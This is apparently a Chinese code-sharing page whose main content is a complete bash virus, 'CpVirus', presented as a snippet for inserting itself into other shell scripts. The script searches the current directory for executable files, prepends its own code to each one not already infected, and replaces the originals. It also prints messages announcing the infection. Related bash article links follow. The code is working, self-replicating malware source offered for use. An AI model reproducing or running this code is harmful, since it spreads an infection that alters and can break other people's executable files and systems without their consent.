返回顶部

收藏

将自身插入到其它shell脚本文件中

更多
#!/bin/sh
#Virus by ijse start
#=====Your Code Here=========
echo "!This file has been infected by CpVirus written by ijse."
echo "!You can remove the virus code by editing this file."
echo "!Just remove the lines between '#Virus by ijse start' and '#Virus by ijse end'."
#============================
for exfile in `find ./ -executable -type f`;
do
    tmpFile=$exfile\.tmp
    firstLine=`head -2 $exfile|tail -1`
    if [ "$firstLine" != "#Virus by ijse start" ]; then
        endnum=`grep -n -x "#Virus by ijse end" $0 | awk -F":" '{print $1}'`
        startnum=`grep -n -x "#Virus by ijse start" $0 | awk -F":" '{print $1}'`
        let length=$endnum-$startnum+1
        echo "`head -$endnum $0|tail -$length`" > $tmpFile
        cat $exfile >> $tmpFile
        chmod u+x $tmpFile
        rm $exfile
        mv $tmpFile $exfile
    fi
done
#Virus by ijse end

标签:bash

收藏

0人收藏

支持

0

反对

0

相关聚客文章
  1. techug 发表 2018-08-15 00:44:09 单行bash编程技巧(一)
  2. phpor 发表 2018-07-27 09:21:39 bash 之变量声明周期
  3. techug 发表 2018-07-23 05:21:45 译 | Bash编程中43种易犯的错误
  4. AngryFox 发表 2018-07-22 03:07:52 shell /bin/bash^M: bad interpreter报错的解决方法
  5. admin 发表 2018-07-18 07:20:30 大神教你DIY高性能运维堡垒体系
  6. phpor 发表 2018-07-17 06:50:47 tcp server in bash
  7. phpor 发表 2018-07-17 06:59:03 bash 之变量与函数
  8. techug 发表 2018-07-16 01:56:38 Linux bash 数组用法技巧
  9. phpor 发表 2018-07-16 02:30:59 cfree ( free in container)
  10. phpor 发表 2018-07-16 02:30:59 cfree ( free in container)
  11. phpor 发表 2018-07-16 03:10:37 count words in bash without wc
  12. phpor 发表 2018-07-16 07:54:08 bash 获取所有pid

发表评论